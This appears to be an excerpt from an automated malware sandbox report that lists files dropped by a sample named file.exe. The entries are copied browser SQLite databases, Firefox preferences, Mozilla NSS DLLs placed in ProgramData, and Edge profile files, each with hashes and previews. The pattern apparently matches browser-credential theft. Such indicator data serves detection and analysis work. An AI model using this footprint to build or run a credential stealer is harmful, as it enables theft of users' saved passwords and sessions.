Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAFIDHIJKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIEBAFHJJDBGCAKJJKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBFBFBFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2677510644415781
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM0SA1LyKOMq+8iP5GDHP/0jMVumOO:Kq+n0J091LyKOMq+8iP5GLP/0k
MD5:	0E858A324E280D341D3474DEBC1D4863
SHA1:	89C44026E56F4ADBC5AC6BF3CB73FB7ACEB60C0E
SHA-256:	1120FDF20B5093F3F4F167911435A209BDFD04E6DDDDE003953CFF9C4EDE776A
SHA-512:	95E505A64E65A85ADBC4C5F150A2712AC7B3EFC128D6CC631DA9936EC6CC93B870390C1574B52DC29BE5BD65787EB52B2F12E211F3AADC7F4C7063CDDCDAED8E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCFBFBAEBKJKEBGCAEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JEHIJJKEGHJJKECBKECFIIDBKK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIIJJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: qlI3ReINCV.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\14d8c38f-05ac-4f8a-92da-8f6bf3b002c2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44980
Entropy (8bit):	6.095083796720224
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWZMi1zNts3veDj/94PM/IPEFSKJDSgzMMd6qD47u3S:+/Ps+wsI7yOl/Q/4KtSmd6qE7lFoC
MD5:	E087564E6EE78D10B4C60A28F3738F62
SHA1:	981813349015A4E7D2B3213E8A84EAC1A0A5D912
SHA-256:	DCA5C324D701422700BD527AF05C2E8BF2241697C46F44923823D2784B8AE185
SHA-512:	7AEE29E05F031BB9B844B13924BA789AB9F3D7F42B4CB0D3CA2BB3F5C87025E10922E686307B81942BC4511B80619E8B45B3DE4CE90DCC0D3A3C3349E6E56A65
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2e0d1a4e-6d2c-40aa-a437-0f83feb1c37c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44898
Entropy (8bit):	6.094989266571191
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWQMi1zNts3veDj/NJNJA/FRDKJDSgzMMd6qD47u3+7:+/Ps+wsI7yny/Q/oKtSmd6qE7lFoC
MD5:	335270462B006D2EB2506F918B53A59B
SHA1:	D070DF5F4D833C3D40AE63AF9BC7D4C4F6524E1D
SHA-256:	646B7D58DD37B010F0F8BA331D695588DC59D266C8592381C640658DB3F55355
SHA-512:	8DF79966E5E6CB2BF5EA0B29741A7F451DDED07DAAC7FD3671057A47E2192C3A331524FD7A7C8DB725C3DCF3161AF2DC80B05201F7FE514060BFC70FE86AEEC6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3b9fed17-ebc3-4550-b6be-6b6d1b0fe9c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46486
Entropy (8bit):	6.085818639538907
Encrypted:	false
SSDEEP:	768:yMkbJrT8IeQcrQgO9C13i1zNts3veDjS4PM/IPEFS3xIAB3lYCio0JDSgzMMd6qD:yMk1rT8Hu9q/QfhTYFo0tSmd6qE7A
MD5:	56C3C8A66418E4519ED5111EA7573C23
SHA1:	5B5CACB4C2E585945DE0097E8AA8BA6BFFD9481B
SHA-256:	53725D6A5E736F35635C8BAB14EDFD6D10E4E69288FF6175881599ECC9431385
SHA-512:	CD025BD45DDDA44AE41AFE0389A126641587D070016419B54118A8C609CA18F25E395C5644B1A6BFDC72246D0C7BEF2A526E57358A2A6B32BD235DD10DC0DFDC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376599055200999","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"8061a57c-994d-49e5-a930-30dbea73b1d4"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732125459"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3fb1b316-42f7-47d0-8405-fb33f4448f6e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44898
Entropy (8bit):	6.094989266571191
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWQMi1zNts3veDj/NJNJA/FRDKJDSgzMMd6qD47u3+7:+/Ps+wsI7yny/Q/oKtSmd6qE7lFoC
MD5:	335270462B006D2EB2506F918B53A59B
SHA1:	D070DF5F4D833C3D40AE63AF9BC7D4C4F6524E1D
SHA-256:	646B7D58DD37B010F0F8BA331D695588DC59D266C8592381C640658DB3F55355
SHA-512:	8DF79966E5E6CB2BF5EA0B29741A7F451DDED07DAAC7FD3671057A47E2192C3A331524FD7A7C8DB725C3DCF3161AF2DC80B05201F7FE514060BFC70FE86AEEC6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\61a1a764-bedf-4eed-a6a3-68cfbd9f9651.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46409
Entropy (8bit):	6.0859331089752144
Encrypted:	false
SSDEEP:	768:yMkbJrT8IeQcrQgxKC13i1zNts3veDj/94PM/IPEFS3xIAB3lYCio0JDSgzMMd60:yMk1rT8HRKq/Q/4hTYFo0tSmd6qE7A
MD5:	5740B11B36DB4F256BC8549DE067C3C8
SHA1:	4E3D5F73E55BC7CD1DBE36D9E8C77D18DBA002F5
SHA-256:	4532890F7F2336F7EEA924CF666E8C8281BAE1AB0574691B06C0DBE296FCF637
SHA-512:	9846661315758EC39DA726D39112D63F9EECA39B272DB4DCC9621E7C6D9E21ABB00570DAA0B8EBE112FC0D3BDE19BD19DF490BE5F498AB467EFDAB3B5F5D1C2D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13376599055200999","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"8061a57c-994d-49e5-a930-30dbea73b1d4"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732125459"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\91b2005a-d1cb-4652-a63e-f354d5f86d26.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089798787009414
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMWkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynZBkzItSmd6qE7lFoC
MD5:	F1C946CDECAB1E6C4ED3550CF4D530E1
SHA1:	70A64199A3F4EB10FB5B30A6C94CDE0CFD982B96
SHA-256:	E40D0A61A0464FDB76484DC05BF5BCF987D7040119E5226C24D757075D7406F1
SHA-512:	38D8D5D2B623123860FA4813EF5F8F4A9167C1DC59137E09FEF08D20D53D927C886C8D8C2F28DA273B909418E81F4D6193F09429A31E2A3684C8E02312345760
Malicious:	false
